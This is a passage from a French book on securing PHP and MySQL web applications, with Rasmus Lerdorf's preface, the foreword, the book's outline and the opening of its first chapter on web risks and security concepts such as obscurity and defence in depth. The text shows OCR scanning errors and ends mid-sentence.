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Préface

La sécurité d’un systéme commence par sa connaissance exhaustive. Or, plus le systéme est
compliqué, plusil est difficile de comprendre ses composants et leursinteractions ; il devient
plus difficile a sécuriser. De ce fait, pour le blinder, il faut simplifier I'ensemble et en maitri-
ser chaque aspect. C'est laque PHP et ce livre entrent en scéne.

PHP adopte une approche décomplexée pour résoudre les problémes sur le Web. Les perfor-
mances, la montée en charge, la courbe d’ apprentissage et la sécurité tirent profit de cette
approche pragmatique. Parfois cependant, cette conception se retourne contre nous. Trouver
un compromis entre la rapidité, la simplicité d apprentissage et la sécurité ameéne chaque
expert spécialisé dans |’un de ces domaines a critiquer les choix qui favorisent les autres. Si
les performances sont primordiales, un gestionnaire de mémoire qui veille aux alocations
ressemble a un boulet.

PHP a grandi avec le Web et, comme ce dernier, il a grandi trop vite. Les webmestres ont
évolué de laméme fagon. Lorsgu’ils ont uneidée, ilslaveulent sur un site, en ligne, et aussi
vite que possible. C'est la course pour étre le premier arrivé, sinon quelqu’un d’ autre aura eu
laméme idée et auraraflé la prime des leaders. Sur le Web, I’ arrivée sur le marché et I’ avan-
tage au premier entrant sont cruciaux. Et dans le méme temps, il faut que I’ application fonc-
tionne correctement. PHP excelle dans ce domaine. |l est facile aprendre en main, il s adapte
énormément et il supporte les meilleurstrafics. Le revers de lamédaille est la sécurité.

Lasécurité est un art difficile, et il faut des années pour la maitriser. Elle est aux antipodes de
la nature chaotique et bouillonnante du Web et de ses développements. PHP a sa part de res-
ponsabilité dans I’insécurité du Web. |1 y a des aspects de ce langage que tous ceux qui sont
impliqués dans sa création auraient di appréhender autrement des I’ origine. De plus, il y
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avait aussi des évolutions que nous ne pouvions pas prévoir. Douze ans en arriere, lesinterac-
tions entre cadres HTML et la prévention des attagues CSRF dans |es communications XHR
auraient simplement été taxées de science-fiction. PHP a acquis sa popularité quand il s est
révélé étrel’ outil idéal pour résoudre les problémes sur le Web. Cet outil était simple, rapide,
et en un mot, il fonctionnait bien. Tout le monde voulait PHP.

Les applications sur le Web, quelle que soit leur plate-forme de développement, sont pour la
plupart mal sécurisées. La seule solution pour améliorer la situation est d’ élever le niveau de
connaissance du systéme et des vecteurs d' attaques. 11 y a des risques que PHP peut neutrali-
ser, maisin fine, ¢’ est au développeur de prendre en compte le systéme d’ exploitation, le ser-
veur web, PHP, la base de données et d' étendre le modéle de sécurité jusqu’ au navigateur,
quel qu'il soit.

L’ avantage que nous avons est que PHP est toujours aussi simple. | n’y apas trop de couches
areconnaitre. Il n'y apas besoin de longues études pour en comprendre le fonctionnement. Si
vous étes motiveé pour écrire des applications robustes et blindées, ¢'est a votre portée. Ce
livre vous aidera a identifier les attaques courantes et les erreurs de programmation classi-
ques, tout en vous guidant pour éviter chacun de ces écuells.

Le simple fait que vous ayez cet ouvrage entre les mains montre que vous avez réfléchi ace
probléme, et il est probable que vos applications sont déja mieux protégées que la moyenne.
Si vous comprenez et appliquez quelques-uns de ces concepts, vous serez considéré comme
un expert. Au fond, il suffit de bien comprendre comment tout cela fonctionne.

Rasmus Lerdorf, inventeur de PHP.



Avant-propos

Pourquoi ce livre ?

Il'y aapene dix ans, Internet était encore un gadget pour informaticiens, cher, lent,
bruyant et laid. Pourtant, ¢’ était déa une source incroyable d’informations.

Aujourd’ hui, le paysage a bien changé. Et il faut reconnaitre qu’ Internet a envahi notre
vie quotidienne & une vitesse incroyable. 15 % des internautes avouent méme qu’ils ont
une forme de dépendance a cette technologie. Le Web a envahi le téléphone, laradio, la
télévision et lorgne maintenant le cinéma.

Vacances, actualités, technologies, finances en ligne, commerce électronique ou encore
échange d’opinions et partage des différences: notre vie passe de plus en plus par le
réseau. On y a une identité propre, des habitudes. Nombre de fournisseurs de services
réduisent leurs colts en supprimant les services traditionnels pour les remplacer par des
échanges éectroniques. Les gouvernements se rapprochent de leurs administrés en
mettant en place des services de proximité, alafois plus ouverts et plus rapides.

Pourtant, le Web d'aujourd’ hui est toujours construit sur une confiance réciprogue des
internautes telle qu’ elle prévalait a ses débuts. Des sites d' importance font encore confiance
aleurs utilisateurs pour mettre en lumiére les meilleures actualités (http://www.digg.com,
par exemple), pour répondre a des questions (Yahoo! Answers, par exemple) ou pour
rassembler les connaissances atraversle monde (http://www.wikipedia.org, par exemple).

Cette approche collaborative permet de transformer Internet en un forum mondial ou les
internautes les plus é oignés peuvent se retrouver et former des communautés en fonction
de leurs go(its et aspirations.

Malheureusement, ce qui rapproche les internautes est aussi ce qui met en péril votre
existence numérique. Votre modem est la porte d’entrée de votre demeure et derriere
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cette porte, tout le monde est voisin. Il n’y a aucune limitation pour solliciter un serveur
ou un autre dans le monde. Et certains ne se génent pas pour aller frapper a toutes les
portes afin de voir qui va ouvrir.

La sécurité informatique devient donc un sujet de premier plan puisqu’ elle affecte direc-
tement le fonctionnement des applications en ligne. Qui dit sécurité fait souvent surgir
I'image des ordinateurs de I'armée qui contrOlent les missiles intercontinentaux ou
encore des écransremplis de caracteres qui défilent contenant desinformationsvitalesmais
chiffrées. Notre identité numérique n’est pas aussi bien protégée, tout en prenant une valeur
qui n'est plus négligeable.

Prenons un exemple. Un guide de restaurants est intéressant si chaque commentaire a pu
étre dépose par un visiteur qui y amangé. On peut alors avoir une idée satisfaisante des
points forts et des lacunes du service. Cependant, que se passe-t-il quand un spammeur
vient proposer des milliers de commentaires élogieux, afin de faire valoir une adresse
particuliére ? Cela fausse tout I'intérét des retours d’ expérience.

L'intérét pour ce type de détournement est maintenant décuplé, tant par la variété des
applications, que par les participations de chacun. Que devient un forum politique ot les
partisans d’un camp arrivent a noyer les arguments des autres dans un flot de contre-
arguments ? Que devient MySpace quand un million d’ usagers choisissent Samy comme
leur héros ? Que se passe-t-il si Mastercard se fait soutirer 40 millions de numéros de
cartes de crédit ? Et s lesimpdts se font voler 120 000 dossiers complets ?

Le défi des applications web modernes repose sur la maitrise de ces flots d'informations.
Il faut savoir séparer les informations utiles du bruit ambiant dans lequel on retrouve les
déchets classiques de la société de I’ information mais aussi tout une population nouvelle
d opportunistes : robots automatiques, vulnérabilités des technologies, armées de zombies
et utilisateurs inconscients viennent s gjouter aux fanatiques, aux mauvaises langues et
aux simples d’ esprits.

Vous commencez aavoir peur ?Alorstout N’ est pas perdu. De nosjours, lasécurité d’ une
application web repose d' abord sur la conscience des dével oppeurs. Avoir opté pour PHP
et MySQL est déja un excellent choix stratégique : la communauté comme le groupe de
développement sait aquel point laséeurité est le fer de lance des applications qui réussi ssent.

A qui s’adresse cet ouvrage ?

Si vous étes un programmeur PHP qui doit concevoir, entretenir ou adapter des applica
tionsweb écritesavec PHP et MySQL, alors celivre est écrit pour vous. Nous |’ avonstiré
de notre expérience pour qu'il livre des exemples concrets, et nous N’ avons jamaisfait de
compromis sur les limitations de chague technique proposée. La sécurité est rarement
absolue, et il faut aussi savoir ou s arréter. 1l faut avoir une connaissance préalable de PHP,
MySQL et des applications web pour aborder cet ouvrage. Si vous ne connaissez rien a
ces trois domaines, il vaut mieux commencer par vous familiariser avec afin de mieux
comprendre les tenants et |es aboutissants de la sécurité.
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Si vous étes un chef de projet utilisant PHP et MySQL, ou simplement un client ou utili-
sateur d'une application écrite en PHP alors ce livre vous intéressera aussi. Les vulnéra-
bilités classiques des applications y sont décrites, ainsi que les outils pour les combattre.
Cela vous aidera @ mieux comprendre les programmeurs PHP et les choix qu’ils font.
Cela vous permettra également de vous poser les bonnes questions quant aux choix de
sécurité que vous faites.

Si vous ne travaillez qu'avec PHP et avec une autre base de données ou bien avec
MySQL et une autre plate-forme de dével oppement voire des applications web sans PHP
ni MySQL, vous trouverez toujours des conseils précieux qui pourront vous éclairer.
Toutefais, notre propos est clairement orienté vers PHP et MySQL .

Vous ne trouverez que trés peu de conseils détaillés sur e systéme d’ exploitation dans cet
ouvrage que ce soit concernant Windows ou Linux. Lesrares fois ou cela était pertinent,
nous avons separe les présentations.

De la méme fagon, nous n’ abordons pas les aspects purement réseau, ni consacrés au
serveur web. Dans les cas ou nous comptons sur e serveur web pour assurer la sécurité,
nous avons choisi d' utiliser Apache pour les exemples. C'est |e serveur le plus répandu,
et le mieux connu du public. Une adaptation minimale des concepts aux autres serveurs
permettra de leur appliquer les mémes solutions.

Vous ne trouverez pas non plus de conseils de sécurisation des navigateurs, hormis des
liens vers les sites de vulnérabilités. En fonction des navigateurs, de leur version, de leur
systéme sous-jacent, de leur équipement et de leur configuration, des vulnérabilités appa-
raissent presgue chaque jour et sont aussitét résolues pour que d' autres surgissent. C'est
une course constante entre les problémes et |es correctifs, qui mériterait un annuaire plus
gu’un livre. Nousy accordons une attention limitée dans ce livre : notre veille sécuritaire
sefait touslesjours, et en ligne.

Structure de I'ouvrage

Le livre est découpé en quatre grandes parties, elles-mémes scindées en plusieurs chapitres
spécialisés.
La premiére partie traite de tous les risques liés au code et aux fonctionnalités de vos
pages web.

» Tout d'abord, le chapitre 1 donne un apercu des notions de sécurité sans rentrer dans
les détails techniques. Nousy présentons des attagues, des défenses et différentestactiques
sécuritaires qui pourront vous protéger de beaucoup de problémes sans mémey penser.

 Le chapitre 2 présente les vulnérabilités qui affectent les applications web (XSS, attaques
par moteur de recherche, injections, CSRF, virus), ainsi que leurs vecteurs dans une
page web. Lavictimeici s appelle le navigateur.

» Le chapitre 3 quant a lui s'intéresse aux échanges entre I'internaute et PHP. Nous
expliquons d’ abord quels sont |es points vulnérables dans un formulaire et pourquoi il
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faut les sécuriser. Nous passons ensuite en revue les techniques de défense coté PHP, la
premiere de toutes étant la validation des informations, regues mais aussi transmises.
Au-dela des données, nous abordons les problémes liés au téléchargement de fichiers,
qui est adapté aux transferts de gros volumes de données, ou pour les formats qui ne
passent pas par un formulaire.

Pour terminer sur les aspects web, le chapitre 4 étudie les cookies (ou témoins) et les
sessions. Leur utilisation est primordiale pour |’ identification, cependant ils sont aussi
extrémement faciles avoler.

Les deuxieme et troisiéme parties sont consacrées respectivement a PHP et MySQL.
Elles présentent les risques inhérents a ces deux technologies et passent en revue les
protections qui ont été mises en place, aussi bien au niveau configuration que dynamique.

Lechapitre 5 couvrel’installation et la configuration de la plate-forme PHP : modes de
fonctionnement, patch Suhoshin, directives de compilation, consommation de
ressources, exposition de PHP via ses messages, configuration des sessions.

Le chapitre 6 traite de la gestion des erreurs en PHP, des fonctions a surveiller dansle
code et de la gestion de I’ intégrité du code source.

Le chapitre 7 aborde les concepts SQL les plus généraux, applicables a MySQL bien
sr, mais aussi a bien d’ autres bases de données.

Le chapitre 8 est consacré spécifiquement a MySQL : connexions au serveur, droits
d’ acces et d’ exécution, points de configuration a surveiller.

La quatrieme partie s'intéresse aux technologies connexes a PHP et MySQL sur le
serveur. Si PHP et MySQL ne sont pas forcément la cible des attaques, c'est peut-étre
gue d'autres ressources sont visées : tentatives d’abus a |’ encontre de I’ internaute, ou
déstabilisation du serveur dans son ensemble.

Le chapitre 9 s intéresse atout ce qui setrouve en interaction avec PHP sur le serveur :
courrier électronique, systeme de fichiers, commandes systéme, structure de |’ applica-
tion web et accés réseau depuis PHP,

Le chapitre 10 présente un complément de techniques qui ne sont pas spécifiques a
PHP ou MySQL. Le chiffrement, les « pots de miel » ou les CAPTCHA sont autant de
techniques dével oppées pour contrer les utilisations illégales d’ un site web ou pallier
leur effet. Elles peuvent étre déclinées dans bien d’ autres plates-formes et nous vous
encourageons a les connaltre pour ne pas réinventer laroue.

Enfin, le chapitre 11 explique de fagon détaillée comment mener a bien un audit de
securité.

Pour terminer, les annexes proposent plusieurs listes d'informations pertinentes pour la
sécurité de vos applications, notamment :

laliste des points de sécurité a garder en téte quand on programme en PHP ;

les listes des fonctions de protection de PHP, des caractéres spéciaux et des fonctions
qui, adiverstitres, doivent attirer votre attention ;
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 des conseils sur une démarche importante : la sauvegarde ;

 une webographie compléte, avec des sites d’'information, des outils de sécurité et la
liste des sites cités dans ce livre.
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Partie 1

Risques lies
aux applications web

Détaillons tout d’ abord les vulnérabilités de votre application web.

Le premier chapitre donne un apercu des principales notions de sécurité, sans entrer
dans les détails techniques. Nousy présentons des attaques, des défenses et différentes
tactiques de sécurité qui pourront vous protéger de nombreux problémes de fagon
préventive.

Le chapitre 2 détaille les vulnérabilités liées au code et aux diverses fonctionnalités de
votre gpplication, aing que les moyens de vous en protéger. Nousy traitons desinjections
de code, des attaques par moteur de recherche, des CSRF et des virus.

Dans le chapitre 3, vous apprendrez a sécuriser les échanges de données avec les inter-
nautes. En effet, si les formulaires et le téléchargement de gros fichiers vous sont
nécessaires pour obtenir des informations de vos clients, il est vital de valider scrupu-
leusement chaque donnée que recoit votre application.

Pour finir cette premiére partie, le chapitre 4 vous éclairera sur la sécurisation des
cookies et des sessions, Nécessaires pour Conserver un état entre deux requétes ou deux
connexions, mais particulierement vulnérables.






Introduction a la sécurité
des applications web

Lorsque nous avons commenceé a élaborer nos premiers sites web, la sécurité n’ était pas
un souci. Comme nous produisions des pages statiques, il était méme assez difficile
d’imaginer qu’ un pirate puisse s’ intéresser aux 10 Mo d’ espace disque offert par | héber-
geur. La seule ressource intéressante était la bande passante du site. En accédant au site,
on pouvait y placer une archive de contenus piratés et diffuser rapidement ces derniers
depuis cette URL. En fin de compte, la sécurité du site reposait sur celle du mot de passe
FTP, lequel était jalousement gardé.

Le paysage a considérablement changé depuis cette époque suite a I'introduction des
pages dynamiques et des bases de données. PHP a entamé sa marche triomphale sur le Web
et des sites de plus en plus importants en taille ou en trafic lui ont confié leurs missions
critiques telles que les gérer des boutiques en ligne, acheter des hillets d’ avion, rencontrer
des gens aux quatre coins de la planéte, surveiller I actualité, faire courir des rumeurs,
acheter des pilules de toutes sortes. Toutes ces activités, qui semblaient impossiblesil y a
une petite décennie, sont désormais simples et faciles aréaliser. Plus récemment encore,
I’introduction des sites web communautaires et sociaux, ainsi que les interfaces dynami-
gues avec Ajax ont considérablement accru I’ intérét du Web pour les utilisateurs moyens.

Du cété de la programmation du site, les défis se sont singuliérement compliqués. Désor-
mais, il faut prendre en compte les aspects ergonomiques de I’ interface tout en ména-
geant lamontée en charge du site. Les applications ont été simplifiées du point de vue des
utilisateurs. Le style simple et dépouillé facilite la vie de millions d'internautes. Cette
simplification pour les utilisateurs a apporté de nouveaux défis aux programmeurs.
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Plus récemment, la sécurité est devenue une des questions centrales. || serait plus juste de
dire que la sécurité afait surface dans les médias car, inutile de le nier, les problémes de
sécurité ont toujours été présents. Les questions de confidentialité et d’ anonymat, d' abus
de ressource ou de spam étaient déja de mise lors des premiers pas du Web devant le
grand public. A cette époque néanmoins, le nombre d’ internautes était réduit (moinsd’ un
million) et aucune transaction financiére n’ était possible. L'intérét des « pirates » pour le
Web était donc faible. Aujourd’ hui, il est démesuré.

Cartes de crédit, dossiers médicaux, ou simplement vos godts et intéréts, ainsi que vos
adresses courriel et |P sont autant d’ informations qui sont convoitées sur Internet. Un blog
qui attire 1 000 visiteurs par jour représente une proie intéressante pour de hombreux
pirates d’ Internet.

Les risques a prévenir

Créer un site web peut sembler étre une opération anodine et quotidienne : plus un objet
est utile, moinsil est percu comme une source de danger. Les risgues sont pourtant réels
de voir son site abusé et détourné de son utilisation initiale: cela arrive aux grandes
entreprises, aux sites populaires et méme aux sites personnels. C'est [a que la sécurité
entre en jeu.

L'abus de ressources

L"abus de ressources est généralement le premier souci des webmestres. Cette attaque
consiste tout simplement a accaparer tout ou partie des ressources d' un site web pour en
bloguer le fonctionnement. Cela conduit au déni de service : les ressources sont devenues
tellement rares que le serveur ne peut plus assurer safonction habituelle.

L es abus de ressources se produisent suite a une sollicitation trop importante de lamémoire,
du processeur, des connexions aux bases de données, de la bande passante, du nombre
de processus du serveur web, ou encore de I’ espace disque. En fait, tous les aspects du
serveur peuvent étre saturés de I’ extérieur.

Cetype d’ abus est généralement facile aidentifier, car il poseimmédiatement des problémes
al’administrateur. C'est aussi un des abus les mieux connus et pris en compte, aussi bien
au niveau de la configuration PHP que du dével oppement en PHP et MySQL.

Toutefois, il existe aussi des situations oul |’ abus est plus discret : par exemple, un robot
IRC qui veille sur le serveur, en attente d’instructions spécifiques. Durant toute la veille,
il est tellement discret qu’ on adu mal alerepérer, jusqu’ au moment ou il serévéle. Mais
ace moment-13, il est d§jatrop tard.

Vocabulaire

Un robot IRC est un ensemble de scripts ou un programme indépendant permettant d'utiliser les fonctions
du protocole IRC de maniere automatisée.
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La destruction de données

La destruction de données arrive en deuxieme sur la liste des risques de sécurité les plus
connus. Il s'agit de s attaquer aux données, en utilisant une faille de I’ application web. Par
exemple, al’aided uneinjection SQL, il est possible d’ effacer le contenu d’ unetable, ou bien
de modifier des données dans cette table, et de rendre I’ensemble du site web inutilisable
(remplacer tous les mots de passe de latable des utilisateurs par le méme mot, par exemple).

Comme |’abus de ressources, la destruction de données est un phénomeéne largement
identifié par les programmeurs et généralement bien défendu. Tout au moins, quelques
défenses sont mises en place pour parer aux problémes les plus évidents. Il s agit la aussi
d'un type d' attaque facile a repérer sur le serveur.

La publication de données confidentielles

La publication de données confidentielles entre dans la catégorie des risques qui ne
mettent plus en péril I’ application web elle-méme. |1 s agit simplement d’ un acceés par un
pirate & des données auxquelles il ne devrait pas pouvoir accéder : par exemple, lire le
profil d'un utilisateur qui souhaite rester confidentiel, le dossier médical d’un patient ou
encore le fichier fiscal d’ une entreprise.

La publication de données ne perturbe pas I’ utilisation d'un site. Prenons I’ exemple de
MasterCard qui s est fait voler quelques millions de numéros de cartes de crédit en 2005.
MasterCard est toujours en possession des données, mais désormais, une autre personne
en dispose également. Or, la sécurité d’ une carte de crédit tient beaucoup a la confiden-
tialité du nom du porteur, du numéro de la carte et de la date d’ échéance. Avec ces trois
informations, il est possible d’ utiliser une carte ala place du propriétaire Iégitime.

Toute la difficulté de ce type de risque est de savoir identifier levol. Si le pirate aréussi a
détourner une requéte SQL pour afficher toutes les lignes d'une table, cela va laisser
beaucoup moins de traces sur le serveur que |’ effacement total d’ une table...

Le détournement du site

Détourner un site revient a s'en servir dans un but différent de son objet initial. Prenons
I’exemple du blog : beaucoup I’ utilisent comme un journal public ot sont consignésleurs
coups de coaur ainsi que les sujets qui les révoltent ou qu'ils désapprouvent. Si le nombre
de visiteurs du blog est suffisamment important pour lui assurer un bon référencement, ce
dernier devient crédible et respecté. Mais s un pirate s’ introduit sur le systéme pour insérer
son propre message, le site sera détourné: le pirate va exploiter la crédibilité du blog
pour diffuser a grande échelle un message de spam, une promation éhontée ou encore
d autres messagesillégaux... C'est un probléme que rencontrent fréquemment les blogs,
les forums ou les sites d' actualités.

Un autre type de détournement survient quand une fonctionnalité est exploitée autrement
gue pour son but initial. Par exemple, une interface web proposant le service Whois peut
facilement étre détournée par un pirate pour collecter des informations. Le pirate
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demande au site le Whois d’un domaine et c'est le site qui effectue la demande auprés
des registres Internet, masquant ainsi I’ identité du véritable demandeur. Si un tel site est
mal protégé contre les abus, il va faire le relais entre les volumineuses demandes du
pirate et les serveurs Internet, pour se voir finalement interdit d’ acces. Le pirate, lui, ne
serapasinquiété...

Vocabulaire

Whois est un service de recherche fourni par les registres Internet permettant d’obtenir des informations
sur une adresse IP ou sur un nom de domaine.

Les moteurs de recherche peuvent auss étre victime de ce type d attaques : en effet, ils
suivent toutes les URL qui leur sont fournies afin de pouvoir indexer le Web. Malheureuse-
ment, sl une URL a été créée dans le but de nuire a un autre site, le moteur de recherche va
étrel’instrument d’ une catastrophe sans e savoir, ni pouvoir remonter jusgu’ al’ auteur.

Les serveurs peuvent également se faire détourner. Dans ce cas, un smple site web peut se
transformer en un site FTP pirate ou bien un zombie utilisé dans un déni de service distribué.

L'usurpation d’identité

L' usurpation d'identité est un probleme croissant sur Internet. Le respect de I’ anonymat
est toujours un débat récurrent, mais de nombreux sites requiérent une forme d’identifi-
cation avant de donner un acceés plus complet aleurs services. C' est encore plus vrai pour
les sites commerciaux, ou le client paie pour un service qui lui est exclusif.

L’identité que I’ on utilise sur un site web devient donc un instrument important de sécu-
rité, d’autant plus que différents droits sont attachés a cette identité. Parfois méme,
I"identité est la seule protection possible sur un site. Il suffit de voler I'identifiant et le
mot de passe d’ une personne pour prendre sa place. Dans d’ autres cas, ¢’ est simplement
le cookie ou lasession d'un utilisateur qui suffit.

La mise a mal de I'image de marque du site

Enfin, le dernier risque d’' une application mal sécurisée est ssmplement le ridicule. Que
dire d'un site qui a été défiguré durant la nuit par un message de pirate ? Ou simplement
du fait d’' éreréveillé au milieu de lanuit par des messages d’ alerte provenant d’ un siteen
perdition ? C'est ridicule, ca ne tue pas, mais ¢’ est particuliérement désagréable.

Concepts de sécurité

La sécurité d une application se pratique a tous les stades de sa vie : elle commence au
moment de la conception, quand on met en place les choix stratégiques; elle est constante
durant le développement ; et enfin, elle se concrétise par la surveillance des opérations
journalieres lorsque |’ application est mise en production.
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La sécurité doit rester a I’ esprit de tous les membres de I’ équipe qui interviennent sur
I"application, mais elle doit aussi savoir rester a sa place : une application ultra-sécurisée
mais qui ne fait rien est inutile. Les concepts que nous vous présentons ici vous assure-
ront un niveau de sécurité élevé et compatible avec tous les projets.

La sécurité des la conception

Lasécurité doit se pencher sur le berceau d' une application dés sa conception. C'est ace
moment qu’on peut mettre en place les bonnes pratiques qui se réveleront bénéfiques
méme apres la mise en production de I’ application. C' est aussi e moment ou la pression
desclients est laplusfaible, et ou on peut organiser les fonctionnalités pour les satisfaire
sans mettre en péril toute I’ architecture.

Il est bien plus compliqué de corriger des problémes de sécurité si les concepts de base
ont éé mal pensés. Il y a plusieurs stratégies qui se révélent toujours profitables, au
moment ot on en ale plus besoin.

Un peu de bon sens

Le premier élément nécessaire pour assurer une bonne sécurité n’ est pas technologique,
mais humain : il s agit de faire preuve de bon sens.

Le site d'une grande firme d’ agents immobiliers plagait directement les requétes SQL
gu'il utilisait pour effectuer des recherches dans les bases d’'annonces, a l’intérieur des
pages web, sous forme de champs cachés. Cette technique permettait de faire suivre les
critéres successifs de I’ utilisateur d’ une page a I’ autre, sans en perdre, sans avoir a les
recalculer et sans jamais utiliser de cookie. Mais cette maniére de faire est particuliére-
ment risquée et révéle un mangue de bon sens évident.

Internet est avant tout un moyen public de communication entre ordinateurs. Entre votre
utilisateur et vous, il y a une relation de confiance qui s établit, et qui passe par... un
espace public. Imaginez-vous en train de parler a votre banquier au milieu de larue, un
jour de marché. En fait, ¢’ est exactement comme cela que ¢a se passe alabanque : méme
rendu au guichet, les personnes qui attendent derriére vous sont proches, tres proches,
voire trop proches, et parfois, par inadvertance, elles entendent ce que vous dites.

Lors delaconception du site web, il est important de se demander si lesinformations ont
intérét atransiter par le réseau avant d’ étre retournées a votre site. Certainesinformations
devront faire ce chemin, comme le nom d’ utilisateur et le mot de passe lors de I” identifi-
cation. Dans certains cas, les informations seront déja publiques, et ne souffriront pas
d’ étre interceptées ou modifiées ; mais le reste du temps, ce N’ est pas le cas.

Avant de vous lancer dans la programmation, pensez donc a prendre un instant pour regar-
der I’ensemble de votre application et interrogez-vous sur I’ utilité de ce que vous faites.
Eloge de la simplicité

Lacomplexité est al’ origine de nombreux problémes et se traduit par des trous de sécu-
rité. Lorsgue le code est simple, il est facile de le comprendre et d’ en voir les limitations.
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D’ un autre coté, quand le code est compliqué, il est encore plus compliqué atester. Fina-
lement, il est difficile de se faire une idée précise du niveau de sécurité.

Si un filtre simple N’ est pas suffisant, vous pouvez toujours en gjouter un autre. Tant que
celareste clair et compréhensible, vous aurez la maitrise de votre sécurité. Généralement,
les problémes de sécurité s'invitent dans les parties obscures d’ une application, celles qui
sont le moins maltrisées.

Cette philosophie est aussi laraison qui pousse certains programmeurs alimiter les mani-
pulations sur les données de I’ utilisateur quand ces derniéres contiennent une erreur.
Dans ce cas, |es données entrées sont renvoyées al’ utilisateur, avec les protections ad hoc
du HTML, pour que ce dernier effectue les corrections. Plutét que de mettre en place un
systéme trés intelligent qui tentera de corriger les valeurs erronées, on compte simple-
ment sur |’ utilisateur. En pratique, cela permet de se prémunir contre les situations ot la
correction d’ une erreur introduit d’ autres erreurs.

Soyez vous-méme

Lorsqu’ une vulnérabilité est découverte dans une application web, elle est publiée sur un
site de référence de la sécurité, comme Mitre (http://www.mitre.org) ou SecurityFocus
(http://www.securityfocus.com). La publication d'une vulnérabilité a plusieurs consé-
guences importantes : une fois qu’ une vulnérabilité a été publiée, des détails sont rendus
visibles et ils peuvent facilement étre obtenus par des pirates en herbe. Méme si aucun
exemple d’ exploitation n' est publié, il est facile d’ en construire un a partir de la description
delavulnérabilité. Si vous utilisez cette application, vous vous retrouverez alors rapide-
ment en premiére ligne face a une menace connue et documentée : ni |’ auteur du site, ni
votre hébergeur ne pourra vous aider.

Notez bien que les applications les plus populaires sont toujours les plus visées car leur
piratage est plus rentable que celui d’une application inconnue. En effet, |’ application
populaire a beaucoup d' utilisateurs, lesquels sont facilement repérables. De plus, parmi
ces utilisateurs, certains présentent toujours des configurations plus vulnérables que la
moyenne. Enfin, plus la communauté d’ utilisateurs est grande, plus grand est le nombre
deretardataires. Aujourd’ hui, presgue deux ans apres le ver phpBB, il existe toujours des
utilisateurs de versions vulnérables....

Cetype de raisonnement, utilisé couramment par les pirates, explique pourquoi les appli-
cations dével oppées spécifiquement sont généralement moins victimes d’ agressions : il
n'y aqu’'un seul site au monde qui les utilise. Et cela conduit d'ailleurs a une conclusion
parfois difficile a avouer : il est fort probable que la personne qui attague un tel site ait
déja des relations avec son auteur. Un ancien employé, un sous-traitant, un utilisateur...,
qui dispose d'informations critiques sur I’ application, a décidé de les utiliser ou de les
revendre. C'est déja un premier pas vers le coupable.

La sécurité par I'obscurité

La sécurité par |’ obscurité consiste a protéger une application en conservant secretes
autant d'informations que possible sur sa structure et son fonctionnement. Sur le Web, la
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securité par I’ obscurité consiste & masquer toutes lesinformations qui pourraient aider un
pirate & abuser d'un service. Comme les informations sont plus difficiles a obtenir, le
niveau de sécurité est plus élevé.

La sécurité par |’ obscurité a mauvaise presse, notamment en ce qui concerne les systeémes
propriétaires, qui I’ utilisent largement. Malgré cela, elle reste utilisée et méme recom-
mandée, quand elle est associée a d autres mesures de protection. C'est une tactique de
sécurité qui ne doit pas étre érigée en stratégie.

L’ obscuritéralentit le travail des pirates mais ne |’ empéche pas. Pour preuve, leslogiciels
propriétaires, dont le code source est protégé jalousement, affichent des niveaux de sécu-
rité parfois bien inférieurs a ceux de leurs confréres libres. On est en droit de se demander
si les développeurs de ces logiciels ne se sentent pastrop al’ abri et finalement négligent
la sécurité.

De maniere générale, la sécurité par I’ obscurité consiste a masquer tout ce qui donne des
informations a un attaquant : aucun affichage d’ erreur, pas de page de type « a propos
de» avec unlien verslenom dulogiciel utilisé, aucun cookie caractéristique de PHP, pas
d’ en-téte serveur x-Powered-by ou toute autre information.

L’ obscurité n’est pas une solution exhaustive aux problémes de sécurité. Les techniques
de développement a code ouvert sont souvent plus efficaces en proposant un audit perma-
nent du code. Cependant, la sécurité par I’ obscurité complique singuliérement le travail
du pirate et donne aux administrateurs une longueur d’ avance. Elle reste un bon moyen
complémentaire a d’ autres mesures de sécurité.

La défense en profondeur

L e concept de défense en profondeur est plus ancien que le Web lui-méme et il est le plus
difficile a comprendre et a appliquer. 1l se résume a ceci : pour bien défendre une appli-
cation, il convient de mettre en place des défenses méme la ou elles ne servent apparem-
ment a rien. Ce concept est trés populaire parmi les experts en sécurité et I histoire a
souvent prouvé qu'il était valable. « Une chaine a la résistance de son maillon le plus
faible » est une autre maniére de décrire la défense en profondeur : il faut renforcer chaque
maillon.

Les systémes de sécurité redondants sont plus fiables que les barriéres uniques. C'est
aussi pour cela que les parachutistes sautent avec deux parachutes. Si le premier part en
torche, on utilise le second. Les chances de s en sortir sont plus importantes avec deux
parachutes qu’ avec un seul.

Evidemment, d’un point de vue théorique, si |e second parachute part aussi en torche, on
retourne au probléme initial. On peut simplement augmenter le niveau de sécurité en
gjoutant un troisiéme parachute, voire un quatriéme. C'est ici que la défense en profon-
deur rencontre ses limites : la sécurité commence a nuire au simple plaisir de sauter en
chute libre. Rares sont les parachutistes qui prennent plus de deux parachutes.

Dans un modéle MV C (modéle-vue-contr6leur), le modél e de données est découplé de la
couche de présentation (la vue) et du contréleur. Théoriquement, aucune donnée ne



Risques liés aux applications web

PARTIE 1

devrait I’ atteindre sans avoir été filtrée, validée et marquée comme slire. Ainsi, dans un
fonctionnement normal, le modéle est totalement immunisé contre les attaques. D’ailleurs,
pour gagner en performances, on essaie généralement de limiter |le nombre de validations
dansle modéle : elles sont redondantes et ne servent arien.

Pourtant, des situations qui mettront en péril le modéle de données sont universellement
présentes. Imaginez simplement une vulnérabilité qui a été récemment identifiée. |l
arrive tous les jours que de nouvelles méthodes d’ attaque d’ une application web soient
découvertes. Si ¢’ est une nouvelle attaque, il est possible que tous lesfiltres soient inopérants
et que les données sournoises soient capables de se rendre jusqu’ au modéle.

L’ autre cas est une évolution de I’ application. Un service web est gjouté a I’ application,
basé sur le modéle courant : par commaodité de développement, on ne passe plus par le
contrdleur ni la couche de présentation, qui sont destinés au Web. Si la sécurité n’est pas
aussi consciencieusement appliquée a ce nouveau service de votre application, il est
possible que les filtres soient ignorés, et votre modéle se retrouve en premiere ligne.
Combien de services supplémentaires ont été mis en place par des stagiaires qui ont
simplement remis la sécurité a plustard ?

Ainsi, il est important d’ avoir un plan de secours pour limiter les dégéats, méme dans des
parties du code ou on en attend peu. Le but n’ est pas de dupliquer la couche de contréle,
mais d'installer des systémes complémentaires et différents. Si une requéte SQL requiert un
entier positif comme identifiant, on peut forcer le type des arguments avant de la construire.
De cette fagon, si jamais les arguments sont victimes d’ une vulnérabilité, larequéte SQL
saura se défendre toute seule et vous aurez peut étre évité une injection.

La difficulté de I’ application du principe de défense en profondeur est le méme que le
choix du nombre de parachutes a emporter. Avec deux parachutes, on a de bonnes chances
